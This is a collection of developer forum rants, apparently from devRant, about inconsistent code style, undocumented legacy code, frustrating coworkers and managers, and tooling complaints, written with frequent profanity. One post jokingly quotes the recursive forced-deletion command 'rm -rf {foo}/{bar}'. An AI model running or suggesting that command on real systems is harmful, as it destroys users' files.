Result: "You also need to install bootstrap css, heres how"
Me: Install, plus try component
Error: "Bootstrap requires jQuery"
Google: "Installing jQuery in Angular 2"
Result: <Instructions>
Me: Install, still not working
Google "Angular2 ng-bootstrap bootstrap jQuery"
Result: "Don't forget to also include Tether"
WHY DID THE FUCKING "ANGULAR-UI" TEAM NOT MENTION ANY OF THIS6 -
So I've been doing some code jobs now and recently they pushed me to a new level.
This company worked with some silly management app made in cpp which they asked me to edit a little bit giving it another style and some additional functions.
Day 1: this code is a mess.
Day 2: this code is a mess.
Day 3: how does this code even compile.
Day 4: I no longer have faith in humanity.
Day 5: I found my first comment (Yay?).
Day 16: I'm done.
Day 19: I got paid.
If you're making a project in cpp just like that dev you do deserve a punch in the throat.
No documentation, no comments, no patterns, just some thick pasta of poorly written code, names like fCalcAllTaxFilesSizeMB....
This haunts me for real.2 -
Give a man a fish, and he eats for a day. Teach a man to fish, and he eats for a lifetime.
Give a man teh codez, and he eats for a day. Congrats, you fed a help vampire.
Teach a man teh codez, and you open up to him the wonderful world of tabs vs spaces, dependency hell, emacs vs vim, being everybody's personal tech support, Linux vs Windows, legacy code, stack overflow, language wars, terrible documentation, functional vs oop, and arguments about what the best indentation style is. Forget about eating, production's down.7 -
SICK AND TIRED OF READABILITY VS. EFFICIENCY!!!!!!!
I HAD TO SEPARATE A 4 LOC JSON STRING, WHICH HAD AN ARRAY OF A SINGLE KEY-VALUE PAIRS (TOTAL OF 10 OBJECTS IN THE ARRAY).
ITS READABLE IF YOU KNOW JSON. HOW HARD IS TO READ JSON FORMAT IF YOU GET YOUR STYLE AND INDENTATION PROPERLY?!?
SO I HAD TO
BREAK THE POOR FREAKING JSON APART TO A FUCKING DIFFERENT YAML FILE FORMAT ONLY SO I CAN CALL IT FROM THERE TO THE MAIN CONTROLLER, ITERATE AND MANIPULATE ALL THE ID AND VALUES FROM YAML BACK TO MATCH THE EXPECTED JSON RESPONSE IN THE FRONT END.
THE WHOLE PROCESS TOOK ME ABOUT 15 MINUTES BUT STILL, THE FUCKING PRINCIPLE DRIVES ME INSANE.
WHY THE FUCK SHOULD I WASTE TIME AT AN ALREADY WORKING PIECE OF CODE, TO MAKE IT LESS EFFICIENT AND A SLIGHTLY BIT MORE READABLE?!? FML.5 -
Story of WTF happened to my job
During my employment in (name censored) was stressful, They claimed I didn't complete my task on time which they constantly remove me from git and documentation(which have to follow their style of returning data), I kept emailing, slack, WhatsApp calls them, mostly and predictably got ghosted and blocked.
So How the fuck am I supposed to push my code or code without the documentation (I can actually, prevent refactoring every time, following the documentation is the good way to go.)
On the sprint review, they will complain about me not committing and pushing the code. (I did commit locally, but can't push, they removed me from the fucking repo) and not done.
Tried reasoning, telling the obvious reasons with them, doesn't work. They come out the second reason of me "NOT COMMUNICATING". Sometimes I can get to git merge from dev to my branch and get tonnes of fucked up code. I reviewed the code, and I can't tolerate it.
Lately, I overheard them mocking and cheering me about to get fired over a zoom meeting (I was in there, they forgot to remove me). Their conversation is about me being a coloniser, a jerk, betraying Chinese ancestors for being not Chinese enough.
I was like: "Why the fuck does their conversation sound like they are tucked in the Qin dynasty?"
Frequently I got labelled as unprofessional.
How is cussing about my ancestors, personal and life a professional behaviour?16 -
I've been lurking on devrant a while now, I figure it's time to add my first rant.
Little background and setting a frame of reference for the rant: I'm currently a software engineer in the bioinformatics field. I have a computer science background whereas a vast majority of those around me, especially other devs, are people with little to no formal computer background - mostly biology in some form or another. Now, this said, a lot of the other devs are excellent developers, but some are as bad as you could imagine.
I started at a new company in April. About a month after joining a dev who worked there left, and I inherited the pipeline he maintained. Primarily 3 perl scripts (yes, perl, welcome to bioinformatics, especially when it comes to legacy code like is seen in this pipeline) that mostly copied and generated some files and reports in different places. No biggie, until I really dove in.
This dev, which I barely feel he deserves to be called, is a biology major turned computer developer. He was hired at this company and learned to program on the job. That being said, I give him a bit of a pass as I'm sure he did not have had an adequate support structure to teach him any better, but still, some of this is BS.
One final note: not all of the code, especially a lot of the stupid logic, in this pipeline was developed by this other dev. A lot of it he adopted himself. However, he did nothing about it either, so I put fault on him.
Now, let's start.
1. perl - yay bioinformatics
2. Redundant code. Like, you literally copied 200+ lines of code into a function to change 3 lines in that code for a different condition, and added if(condition) {function();} else {existing code;}?? Seriously??
3. Whitesmiths indentation style.. why? Just, why? Fuck off with that. Where did you learn that and why do you insist on using it??
4. Mixing of whitesmiths and more common K&R indentation.
5. Fucked indentation. Code either not indented and even some code indented THE WRONG WAY
6. 10+ indentation levels. This, not "terrible" normally, but imagine this with the last 3 points. Cannot follow the code at freaking all.
7. Stupid logic. Like, for example, check if a string has a comma in it. If it does, split the string on the comma and push everything to an array. If not, just push the string to the array.... You, you know you can just split the string on the comma and push it, right?? If there is no comma it will be an array containing the original string.. Why the fuck did you think you needed to add a condition for that??
8. Functions that are called to set values in global variables, arrays, and hashes.. function has like 5 lines in it and is called in 2 locations. Just keep that code in place!
9. 50+ global variables/hashes/arrays in one of the scripts with no clear way to tell how/when values are set nor what they are used for.
10. Non-descriptive names for everything
11. Next to no comments in the code. What comments there are are barely useful.
12. No documentation
There's more, but this is all I can think to identify right now. All together these issues have made this pipeline the pinnacle of all the garbage that I've had to work on.
Attaching some screenshots of just a tiny fraction of the code to show some of the crap I'm talking about.6 -
maybe I'm really pedantic, but I fucking hate people who write code without a consistent form or style... putting spaces or breaks randomly or not at all is SO fucking annoying and I'm wasting time converting it to a more readable form... THEY FUCKING COULD HAVE DONE THAT IN THE FIRST PLACE FOR FUCK SAKE!!13
-
I really need to let this out somewhere...
Why the f...? Srsly.. Why would anyone do that? I'm joining another project. Apparently lead dev has adopted a coding style, where:
1. Every dev writes code however he likes, i.e. no clean-code requirement at all.
2. All services are crud-only. I mean all service classes. All must have those 4 methods; no more, no less.
3. Half of the business logic is inside controllers.
4. Not a single comment... Interfaces, models, etc. -- not a single one.
5. Xmls -- tabs, classes - spaces.
6. Xml schemas are downloaded with each build rather than stored downloaded once and stored locally.
7. I can keep going on and on.
Is it just me or are these some really weird decisions?3 -
New country, new company, new team, new projects.
I'm supposed to be the TL of a team working on a React project.
A guy in his late 40s celebrates himself as "the senior", he basically just finished watching a youtube thing, React 101 crash course or similar. The other two juniors who did only Wordpress so far venerate him like a god.
The code, of course, is one on the finest pieces of crap I ever had the pleasure to deal with in my life: naturally a bunch of JQuery plugins for everything, no tests, no state management, side effects everywhere, shared state and globals like hell, everything written in ES3/ES5 style, no types, no docs, build and deploy totally manual, deep props drilling at every level... and not to mention the console.log() shipped in prod.
First day, already headache.
Full rewrite start tomorrow.
Hiring real devs as well.4 -
We might achieve world peace one day and still won't have agreed over indentation.
Indentation = TAB. Just 1 character (N spaces = N characters = more disk space, duh!). And then each dev can chose their own TAB width (in spaces) in their IDE of choice. Beautiful.11 -
Spent today building a 3d printer, and i have a feeling that tomorrow its gonna be configuring undocumented open source code for it to work, but this delta style looks really cool22
-
My boss just passed me few tasks that my coworkers fucked up. They have more experience, but they do not follow any code style standards and usually write shitty spaghetti code. I'm pissed off and angry because it's not the first time and I'm tired of fixing things that they ruin. Do you ever had any situations like that? How do I handle this? I'm speaking of two particular persons, not a whole company.2
-
Am I the only one who doesn't judge a programmers contributions by commits or change history?
Frequently I'm always near the bottom of contributors, because I don't make a million commits when it's broken. And I don't commit lines that will likely disappear in later commits. I like to finish a function, test it, check it, rework, and then make a "made function()" commit, as apposed to:
"Wrote function()"
"Wrote unit tests for function()"
"Fixed error"
"Code cleanup"
"Style guide compliance"
"Reworked function()"
etc.
Sorry that I keep my commit history clean and ensure it builds.7 -
Well there were quite some teamwork fails concerning Git and build environments. I covered a few in my previous rants.
Basically I become a tiny bit of FUCKING ANGRY when I have to work with lobotomized pricks who get a segfault at address 0x00000000 in their brain_x68.exe when it comes to handle Git in the simplest ways possible.
Horrible commit messages, unfinished/buggy stuff pushed to master, force-push with fucking 6 months old code +1 change, pushing "resolved" mergeconflicts without resolving, 1 year old issues which are not closed or marked in any commit message, copying repofiles into a backup folder and committing it, not commiting files and change it directly on the FTP...
I HAVE SEEN IT ALL.
If I was not a calm and thoughtful guy I have had exploded and quit a long time ago!
I only help them so they can improve their dev style and workflows.1 -
Boss is also a programmer which is nice. boss is also incredibly impatient. so when he gives me a project to do, when I don't have it done the day of, he goes and does it over the weekend. but he doesn't tell until a few days later when I finish the following Tuesday. he chucked my git branch and just pushed his stuff to master. then he belittled me because there was a feature missing in his code and I hadn't done it yet. I don't know how to deal with this. on the one hand, I could try and work faster. but on the other, I am trying to add features to software he wrote in c-style c++, didn't comment, and hasn't been updated to modern standards since 1998. even the copyright files are 1997 to 2001. just very discouraged as its my first job in the field. it wouldn't have been so frustrating if he had just told me he'd worked on it himself instead of letting me finish it and then throwing it in the trash.
end rant8 -
What do you do when another dev overwrites/changes your working code without telling you, only because s/he cannot understand how your code works?
And your code was working fine, mind you, no bugs or anything, and is following recommended guidelines/standards. It's just that this other dev has a different coding style and prefers to rewrite everything his/her way even if it means breaking up otherwise sound logic.7 -
Mystery of the day: why some developers can't decide on a code style. Let's count:
- two types of brace placements
- three types of assignment spacing (with, without spaces, and aligned with extra space)
- two types of clause spacing
- mixed case in the first char of a variable for no apparent reason(?)
- bonus: unneeded parentheses
At least in ONE thing the person was consistent: no space between parameters!
WHY GOD.13 -
Being a programmer in a scientific discipline can be infuriating.
using "no one" ="almost no one"
using everyone = "almost everyone"
1. No one knows what even the very idea of good practice is. And everyone refuses to learn. 3k lines of repetitive copy pasted main. 500 lines of plotting method.
2. Raw C-style pointer based array creation. Won't use develope array libraries because what if development stops. FUCKING HAVE YOU SEEN YOUR CODE WHAT IF DEVELOPMENT ON YOUR CODE STOPS. FUCK.
3. LOOP VARIABLES DECLARED AT THE BEGINNING OF THE METHOD WHY.
4. Everyone wants to make modular, independent code. No one wants to use OOP. NOPE. ALL IN ONE FILE. WRITE C++ LIKE A FUCKING PYTHON NOTEBOOK. FUCK.
5. LIBRARIES OH MY GOD PLEASE DO NOT CODE UP YOUR MATRIX MULTIPLICATION. PLEASE DO NOT TRIPLE LOOP IT. NO. THE LINEAR ALGEBRA LIBRARY WILL STAY IN DEVELOPMENT.
6. Please realize that literally not one comment over an 1800 line file does not help anyone.
FUCKING. WHY. WHY ARE WE SCIENTISTS SO GOOD AT SCIENCE AND SO FUCKING SHIT AT THE CODE THAT MAKES OUR SCIENCE HAPPEN. WHY. FUCKING. WHY. FUCK.undefined rage no comments scientific computing fuck this shit wall of text bad code science fuck c++ fucking4 -
Proof that there is no drug testing at Apple:
- Xcode 10 moved code snippets in a transient spotlight-style window.
The only way you can show snippets is if you have your editor window in "browser mode" vs "document mode" and then the dumbass button with { } on it shows.
If you go into the help menu in the menubar where you can search the other menus, typing in "Snippet" shows only "Create Code Snippet" under "Editor" menu.
So to make it painfully clear, they hide the snippets under a button on a window in a particular window mode. Then, because they have now fucked up the use of Snippets, the "Create" capability becomes a "how do we do that?". This did not make them reconsider their approach... oh nooo... instead they sloppily stuff it in the regular menus all by itself... and do not put a Show Snippets near it. And conversely they don't put a "+" or "-" button in the snippets window.
So here is what happened... someone said "having the snippets in the code editor window is a pain" and someone half-listening heard "windowpane" and pulled out their stash of LSD... everyone took a hit ... and now we have a fucked up hidden button and an orphaned menu command.
I'm going to have to change my username to "XcodeDevTeamAreMorons"3 -
I was in second year of University when I joined the internship, I knew the business idea sucks and he wouldn't be able to carry out the operations either. Little did I know that I will work with the dumbest team ever, literally, the dumbest.
So, the major chunk of the software was outsourced to a consultancy. I was a tech intern, and we were developing an Android App that will save your parking location, let you reserve locations and all etc.
I knew I have stepped on a wrong turf, but again, I had nothing better to do that summer. So, for a very meager stipend, I said yes to a very stupid project. Let the stupidity flow...
~ The boss, had quit his job for this dumb idea with no funding, no team, nothing.
~ He was pursuing a certification course in Android Development from somewhere, where their final project will be a calculator!
~ He had little to no tech skills, hardly knew Java but was leading an Android App Dev project in Java. He had little to no managerial, marketing or sales skills either.
~ For a brief period, I had to work along with the consultancy guys to ramp up their work. They would take backups in a USB drive every evening, and share each others code using the same. VCS died a painful death that day.
~ They hardly wrote functions, rather, wrote very long code in the main (onCreate) function. Code style died of cancer.
~ They couldn't compress an image before sending it to a server. I had to do it for them.
~ Had no concept of creating utility classes.
And best of all,
~ Wrote 20 cases (switch case) with the same code! Instead of using a loop...1 -
Oh man where to start:
Not wanting to use LINQ because he did not wanted to "download external dependencies"
Not wanting to use prepared statements on their php sql code, and refusing to use pdo because they will "always use mysql"(moved to postgreSQL shortly after I left)
For some reason including a php file that only had ?>......thats it....only ?>
Use c++ but refused to learn oop and use structs for everything, importing stdio.h and printf everything.....like really?
Maybe just nitpicking, but refusing to use the recyclerview pattern on am android app. The implementation was faster after I made the change.
Importing a library for promises instead of using the ones already in the language(JS)
Changing the style of aaaaall p tags instead of using classes as well as refusing to use divs in place of p tags...well...fuck
Not indent his ASP classic code
Use notepad on his asp classic code
Use ASP Classic in 2017, even for new projects6 -
VS Code stories are here.
I'm not making this up, there is now an extension for VS Code that brings instagram-style stories to your editor
https://marketplace.visualstudio.com/...15 -
Programmers nowadays have to...
… write 100%-covering unit tests;
… set up continuous integration, linters, hinters, style checkers, …;
… follow style guides for every language;
… meet impossible deadlines;
… meet impossible management/customer/end user expectations;
… read through terrible code others made;
… read through terrible documentation others made;
… make terrible documentation themselves;
… fight with the IDE;
… fight with the build tools;
… deal with unreproducible crash reports coming in from everywhere;
… debug code written at 2am (by themselves AND others);
…
…
…
… KNOW HOW TO PROGRAM.6 -
#You never know the sun will rise. I recommend this code style.
a = 2
b = 2
c = a + b
assert a is 2 and b is 2
assert 2 + 2 is 4
assert a + b is c
assert c is 41 -
Sweet baby Jesus the stories are true. I thought this day would never come but yesterday I found a website in production straight out of a horror story.
Inline script tags that contained spaghetti code and static content. And to top it off inline style with position absolute for everything 😰😰
Also worth mentioning a couple of broken pages(404) and a beatufill repeat-y image for the background😳
I lost all hope😂16 -
!rant
Got back into android development recently and while everything was pretty flawless ( I managed to get the basic concepts implemented in a day) something wasn't right.
For some reason I was not happy with the code i wrote, although I took examples from google and tried to adapt their code style. It looked aweful. I hated my code.
But the code itself wasn't the core of the problem. I could easily add new features and replace components with new implementations without breaking the app. All those "good code quality" identifiers were there.
Turn out the problem is Java. Or to be more specific: Java 1.6
Every listener which only calls a single function once a worker has finished needs 6 lines of code. If you implement the inferface in the class it gets messy once there are multiple workers and you have a generic interface. And there are no lambdas!
So I made the switch to Kotlin.
The app was converted to kotlin in 30 Minutes. Android studio can convert the classes automatically and very little manual work is needed afterwards.
After that I spent 2 hours replacing the old java concepts with Kotlin concepts: lamdas, non-nullable types, getters and setters in kotlin style (which in this case is c# style) and some other great thing.
The code is good looking now. I like it. I like kotlin as it has a lot of cool things.
Its super easy to learn. It took me about 2 hours to get into it. It combines concepts from java, javascript, c# and maybe a few other languages to form a modern jvm 1.6 compatible typesafe language.
Android dev is fun again!2 -
Your choice. Select one
1.
foo (bar) {
return true;
}
2.
foo (bar)
{
return true;
}
3.
foo (bar) { return true; }
4.
foo (bar)
return true;
5. Collapse
|-------------------|
| foo (bar) ... |
|-------------------|
6.
#define foo boo
#define bar par
#define ( `
#define ) '
#define return go_home
#define true false
#define { ☞
#define } ☜
6-1.
boo `par' ☞
go_home false;
☜
6-2
boo `par'
☞
go_home false;
☜
6-3.
boo `par' ☞ go_home false; ☜
6-4.
boo `par'
go_home false;
6-5.
|--------------------|
| boo (par) ... |
|--------------------|
Select and Comment below.
Or add your own.27 -
Getting super fed up of that one guy in the office who refuses to conform to the code style everyone else is using on the project.4
-
I hate these idiots that post source code examples as an image just so they can keep their cool highlighting and style. How the fuck am I supposed to test that without re-typing the whole thing myself? Ever try OCR on source code? Not too great, is it.12
-
Worst documentation I've seen?
Our "Coding Standards" 20+ page document. The team who put it together got so detailed, there wasn't much 'wiggle room' for natural deviations in a developer's coding style. For example, a section devoted to no abbreviations. So if you had a variable 'invoiceId', they complained you violated 'standards', even though 'invoiceId' matched a field name in a database table. Using Dapper or another ORM that relied on the 1:1 name match? Nope, you were still forced to inject your own mappers so the code didn't violate standards.
As you can probably guess, such a long, detailed document would have contradictions. I pointed out one of the contradictions. Example:
Page 5: Section B, sub-section B-5, paragraph 3 : "To minimize network traffic, when querying the database, request all the data necessary for the application."
Page 8: Section K, sub-section K-2, paragraph 4 : "For maximum performance, when querying the database, request only the most minimum amount of data necessary for the application ."
In a review I pointed out this contradiction (there were several more)
Me: "If we satisfy A, one could say the code is in violation of B. Which is it?"
<Pointy-Hair-Boss throws his pencil on the table>
PHB: "WHAT IS YOUR PROBLEM WITH STANDARDS! It couldn't be more clear! We are a company of standards because without standards <blah blah..straw man argument..blah blah>"
<deciding not to die on that hill, I move on>
Me: "On page 12, paragraph 9 code is in violation if a method has more than 3 parameters. That seems a little restrictive given our interaction with 3rd party products."
PHB: "There you go again. As stated in the document, ALL code used by the company will comply to our standards. What part of 'ALL' do you not understand?"
Was he bluffing about requiring 3rd party vendors complying with our standards? Heck no. That's a story for another day.10 -
It was the first time I worked on a big project with a big team, I looked at the given code and copied their code style.
I finished very fast and everything was working fine, was really proud of myself. I'd like to add some logging though.
Programm failed it was heavily async and parallel so 2 days of debugging had past the whole team was on board nobody knew what went wrong there.
As I stared into the darkness of my code I suddenly saw what went wrong 😂
As I adopted no curly braces style of the Team for
If (condition)
Justine();
And I added logging above without braces everything broke 😂 it was indented properly so as a heavily python user everything looked fine2 -
!rant
My colleague saw this code of mine and said it is annoying conditions are not on the same line, since it is a shared project I can't go "that's my style!"
What do you think should I convince him why we need to follow this approach (at least it can be easily read rather than reading a screen wide line)26 -
Why does node-sass have such garbage documentation?!
I've now spent over an hour trying to get a clear and concise answer to how that shit works, and what do I get? This: (see picture)
I don't know what any of that means, nor do they care to tell me.
I don't want to render this shit at runtime, I want it to compile the sass code when I make changes to it so my app doesn't get boggled down by unnecessary background processes.
But nooo of course not.
To top it off, the "easy" electron-compile solution doesn't even fucking compile because all its dependencies are either outdated or 404 on me. 😡
It's shit like this that makes me hate web-style development. Lacking documentation and people who just assume everything is logical and clear from the start. It's fucking not.4 -
I can't believe this company has not hired a ux designer yet!
Team managers have no clear design principles to follow, they are coming up with design changes and ideas on the fly.
For fucks sake, at least provide a reference design or color sets to implement instead of complaining to me when i use hard colors like red / green / blue on first version of what you asked to do.
I hate doing minor style changes on code when you have no clear vision about the design.
I think the end product is gonna end up as a ux nightmare without a ux specialist.2 -
I am calling this a premonition rant, of more rants to come.
I have a feeling in my bones.
We have a newly acquired fat cat customer with bucks to blow who we have done some digital work for already and swag bag of marketing perkiness.
I will call the CEO of this whale "The Porcupine"
The Porcupine has a business degree and industry experience, nothing to do with websites or applications.
It claims to be a visual perfectionist yet never delivers an overall coherent review.
It likes to fixate on minor brand style differences in websites and apps we have built.
The Porcupine seems to be always busy with policy and legal and other things rather than participating in their own projects.
Procrastination on feedback or reviews until the day before release is common.
Many overtime hours worked, not a sliver of thanks. The haughty attitude indicative of somebody who thinks web development is like desktop publishing.
"It's just code" in response to a crash production server change they were warned was a risk that borked all of our responsive templates and took 3 hours to fix.
Their entire brand is shades of pea green, grey and lime. No serif fonts because they are suck. Arial and Helvetica are boss.
One of my devs missed a CSS style on privacy policy hyperlink text that went times new roman and I had various account directors and our CEO on phone telling me how embarrassing it was for us to let this happen.
Anyway. They pay on time and the cost estimates for all the upcoming work are juicy.
We have shitloads going on for an upcoming hard date conference and everything is already compressing.
Therefore I can already smell doom and feel those porcupine quill getting closer to my ass as I beg their AD today if we have any feedback on the 10 or so project reviews yet?
Nope.4 -
Please tell me something wrong with me, and whole world is working like that! It can't be right! Or could it, and I'm just one sad fuck who don't know shit?
So... We've got:
1. Jira reporting (agile style with cards and shit)
2. Task timers (via application integrated to Jira in order to count how much time we spent on a task)
3. End of the day email reporting with description of what we have done today (Jira is not enough?)
4. Daily morning meetings with a team leader to report what we're gonna do today
5. Git merge code reviews for each finished component (that lasts for hours)
6. Weekly status meetings
7. Working hours reporting with a fucking fingerprint
And on top of all of that, the developer is the one who just writes the code - team leader decides how this code is gonna look, what will be written first and what last, what libraries will be used and so on...8 -
Lessons I've learnt so far on programming
-- Your best written code today can be your worst tomorrow (Focus more on optimisation than style).
-- Having zero knowledge of a language then watching video tutorials is like purchasing an arsenal before knowing what a gun is (Read the docs instead).
-- It's works on my machine! Yes, because you built on Lenovo G-force but never considered the testers running on Intel Pentium 0.001 (Always consider low end devices).
-- "Programming" is you telling a story and without adding "comments" you just wrote a whole novel having no punctuation marks (Always add comments, you will thank yourself later for it I promise).
-- In programming there is nothing like "done"! You only have "in progress" or "abandoned" (Deploy progressively).
-- If at this point you still don't know how to make an asynchronous call in your favourite language, then you are still a rookie! take that from me. (Asynchronous operation is a key feature in programming that every coder should know).
-- If it's more than two conditions use "Switch... case" else stick with "If... else" (Readability should never be under-rated).
-- Code editors can MAKE YOU and BREAK YOU. They have great impact on your coding style and delivery time (Choose editors wisely).
-- Always resist the temptation of writing the whole project from scratch unless needs be (Favor patching to re-creation).
-- Helper methods reduces code redundancy by a large chunk (Always have a class in your project with helper methods).
-- There is something called git (Always make backups).
-- If you don't feel the soothing joy that comes in fixing a bug then "programming" is a no-no (Coding is fun only when it works).
-- Get angry with the bugs not the testers they're only noble messengers (Bugs are your true enemy).
-- You would learn more than a lot reading the codes of others and I mean a lot! (Code review promotes optimisation and let's you know when you are writing macaroni).
-- If you can do it without a framework you have yourself a big fat plus (Frameworks make you entirely dependent).
-- Treat your code like your pet, stop taking care of it and it dies! (Codes are fragile and needs regular updates to stay relevant).
Programming is nothing but fun and I've learnt that a long time ago.6 -
Visual Studio Code - ever since the beta.
VS Code is... amazing. There's no words to describe it. It's just amazing.
VSCode since the inception was just this tiny version of Visual Studio that you can transform into your own little IDE. That was the whole point of VSCode - it was a extensible editor. For many years I've used it and never looked back, I still use VS from time to time but Microsoft really nailed this one.
Most of the editors I knew lacked good auto completion and good linting, which IntelliSense was good, and it became even greater once support for languages started piling up. Themes also were top notch, I still remember you can't theme the entire window just the editor, nowadays you can.
And last but not the least is the Remote integration. I didn't need to leave my OS just to do work from another, I just need a SSH agent and it works. It's very straightforward and easy.
Overall Visual Studio Code is a editor that is more about choice and your own style - which makes it unique from IDEs, its fresh and its definitely earned its place as one of the most sought after tools in development.3 -
Had a five hour long debate with one of our Senior Developers today about pull request etiquette.
His view was reviewers should always email or call him before adding comments to any of his requests and they should never block them as he should be allowed to code in "his own style" and should be able to approve his own pull requests.
I explained that we have code standards and an agreed PR workflow be needs to comply with.
He then started talking about meteors and plane crashes. Literally no helping some people.18 -
People caught using emojis in code should be driven into the sea.
Otherwise one day its gonna just be straight magic, without reason or understanding.
You're gonna type a bunch of moon runes into a glowing floaty interface, pour the blood of a chicken into a collector tray (totally not a pentagram) and "shit just happens" (tm).
And "scholars" (neckbeards) will spend all their time shape-in-wrong-hole idiocracy-style button mashing their mystical ouija board IDEs in the grim dark future, looking for combinations that do something useful.
Every time it glows red? Compile error.
Every time it glows green? Christmas is near, congrats it compiled.
Every time it sets off a mystical air siren (henceforth known as "fusrohdah"), runtime error. And probably explosions.
In the grim dark future of Apple 40k. A.D, there is only war, warp demons, and pending VSCode updates.11 -
I never thought clean architecture concepts and low complicity, maintainable, readable, robust style of software was going to be such a difficult concept to get across seasoned engineers on my team... You’d think they would understand how their current style isn’t portable, nor reusable, and a pain in the ass to maintain. Compared to what I was proposing.
I even walked them thru one of projects I rewrote.. and the biggest complaint was too many files to maintain.. coming from the guy who literally puts everything in main.c and almost the entire application in the main function....
Arguing with me telling me “main is the application... it’s where all the application code goes... if you don’t put your entire application in main.. then you are doing it wrong.. wtf else would main be for then..”....
Dude ... main is just the default entry point from the linker/startup assembly file... fucken name it bananas it will still work.. it’s just a god damn entry point.
Trying to reiterate to him to stop arrow head programming / enormous nested ifs is unacceptable...
Also trying to explain to him, his code is a good “get it working” first draft system.... but for production it should be refactored for maintainability.
Uggghhhh these “veteran” engineers think because nobody has challenged their ways their style is they proper style.... and don’t understand how their code doesn’t meet certain audit-able standards .
You’d also think the resent software audit would have shed some light..... noooo to them the auditor “doesn’t know what he’s talking about” ... BULLSHIT!9 -
Software development best practices: decouple your code
Apple, on applying a bold text style: Nah.5 -
One thing you learn after a few years in IT and some languages is that there is no problem with most languages.
BUT
Ugly code is ugly code! Has half of the devs I have been working with never heard of a style guide? Is it so long of a read that they just skip it.
I have flashback of variables being called "a", "b", "c" and/or methods being called "method_alfa" in production code.
In my opinion, repeatedly sh*ting all over a style guide is a reason for getting fired.1 -
*me browsing through my company's code style guide*
"You must not use spaces for indentation" - awesome!
"Files must not contain more than 4000 lines of code" - wtf?9 -
Just found this absolute 5 head, galaxy brain implementation in a piece of code which is called in a loop by a background scheduler which has performance issues.
There are 20+ properties, some which are recursively calling other properties with the same implementation style in this class.
Constant out of memory errors have been reported for this software, I wonder why...15 -
The feeling when you realize some people on the project are writing legacy code from scratch. Apparently it seems they've never heard of any coding standards, they think clean code and style guidelines are for the weak and single responsibility means one single method is responsible for a bunch of unbelievably diverse things. They are like the Gumbys of the dev realm but it's my brain that hurts every time I have to deal with their code.4
-
How do you deal with someone like this?
I've got this dev at my workplace that is terrible to work with, he's 2 main reasons why I say this:
1. He has no clue about team work, every piece of code he writes is written as if he is the only person that has to ever touch that
2. He's overtly protective and opinionated on things that make no sense, they're non standard "rules" that he sets and enforces by replacing others code with his own (often times you see quite large PRs and after inspection you realize he rewrote parts of code to follow his style). These "rules" also take up a really long time to follow and would make any actually experienced developer question this guy's knowledge, one example of this is where he repeats the same code over multiple components for "encapsulation reasons" and God forbid you create a global helper of some sort, he'll straight up remove it the next chance he gets. Another example is that all his components or utilities live inside 1 base directory, so you have roughly 300+ components in a /components directory, all with non standard names so you can't tell which is related to which.
I hate working with this person, it's annoying and it also sucks because he's sort of a more "senior" Dev so managers take his side most of the time.3 -
"We're promoting you to be a Team Leader, since you proved your skills to handle tough tasks and bring good solutions, and we're raising your salary by 25%."
That sounded good for me, until I realized that all they need is an interface between them (the boss) and other employees to force their style and monitor every fucking thing that could be different from a dev to another. But since the boss is a sEnIoR with mOrE tHaN 10 years of experience but he does not have any clue about good practices and how to make a code that does not push you to be humiliated by the client, he still thinks that he's the fucking programming God.
That's a shit9 -
Today I was refactoring code with 10 levels of indentation. Java 8.
Lambdas.
Each one is a block which spans multiple lines, that makes the outer ones hundreds of lines long.
This should be forbidden: () -> { ... }
If you don't understand why, please never send me any code.
PS: intellij shows multiple errors on each line.
PPS: my colleague should be happy that I do not use swear words.6 -
For the last time, SLOC is not a measure of anything.
Have too many, the code probably isn't DRY.
Have too few, you probably don't follow a style guide and have 120 char lines because you invented "oneliners" which you were so proud of that you had to put it in there.
Have just the right amount, and the code likely suffers from both of these at the same time.8 -
Tried to reply to @Fast-Nop who had replied to someone wondering if C would be a good first language.
IMHO C should have been put to sleep ages ago. A few years ago I downloaded the latest, greatest C Standard. For a language billed as small and simple (by many) it was over 800 pages long. Still there's a lot that's unspecified like order of evaluation of function arguments. Int etc is implementation dependent. And error handling, let's not go there. The macro assembler throws away all the semantics leaving behind a cryptic value. It's a complex language due to the innumerable interactions possible.
It's been called assembly language for the PDP-11 minicomputer. Recently learned that even the VAX-1 was built from SSI chips like the 4-bit 74181 ALU. The VAX.
Anyway I had several excellent books on programming style written by Henry Ledgard. He despaired of making C look readable. I commend his books which are so old that the code is UPPERCASE A lot of he wrote had to do with program design, naming things, writing good comments and that the visual shape of a program assists mental clarity.23 -
DevFolio
This is a simple responsive portfolio website template. You can use it and make it yours by changing things and colours to your style and liking! I made it with a lot of hard work, love and of course with code :) I'm not a professional coder, but I tried my best to make it look cool and yet still keep it simple.
you can view the Github repo at https://github.com/achaljhawar/...5 -
Our code base is shit.
To improve, we went through different coaching style: Freudian Psychoanalysis, behavioural psychology, gestalt
- Freudian Psychoanalysis: After several years refactoring and discussing our technical debt we can say that we really understand our code in deep. But it's still shit
- Behavioural psychology: after some months of work, we built a lot of testing. Now the code is still shit, but we don't get dirty anymore
- Gestalt: after few weeks sessions, the code is still shit. But we don't care anymore, we accept it and we are happy
(note. it's an adapted psychology joke)1 -
Code review, intern style:
Intern: Here is my pull request ...
Colleague: I see a problem with x, y, z. Could cause memory leaks.
Intern: Oh yeah you are correct, i'll fix that in the next one.
Intern: *merged* -
My favorite command of day is 😂
rm -rf {foo}/{bar}
Reference if you don't know what happened today:
http://independent.co.uk/life-style...2 -
Dude what the fuck with C#'s code style?
Pascal case variable names and classes? Don't we do this so we can differentiate between variables and classes??
Newline between parentheses and brackets?
Retarded auto get/ set methods that serve no purpose than to make code difficult to read and debug?
And after all that shit, string, which is a class, has a lowercase s and is treated as if a primitive?
I really have no idea why this language is so widely praised. The only thing I like about it is that it's the only major bytecode language that has operator overloading and reference parameters.19 -
Best team experience?
Well, first I'd like to mention that after some more experience in the field since, I realize that this company had some pretty terrible management infrastructure...
Nonetheless, I think my best team experience had to have been during my first programming job because my project manager... WAS A FREAKING DEVELOPER! It wasn't his job to be a developer obviously, but we were a small team essentially developing waterfall style, and he had to pick up the slack now and then for certain issues. The man was a genius and everyone appreciated him because you could talk to him about anything dev related and he would get it. The rest of my team was also very chill too, so it was all in all just a fun experience, stressful as it may have been at times.
I have not since had such a diversified project manager 😟 but then again, not the PM's job to touch code...2 -
Yo i know this shit is discussed way too often, but it kills me from the inside:
In that one coding class we get some source files where only the function bodies are missing (i know, sounds childish).. but it uses this style
function()
{
...
}
I fuCKING HATE THIS GODDAMN RETURN THERE WHAT THE HELL WHO FINDS THIS BULLSHIT AESTHETIC ALL SPACEY SO YOU SCROLL YOUR ASS OFF WHEN FILES GET LONGER THAN 2 FUNCTIONS?😔7 -
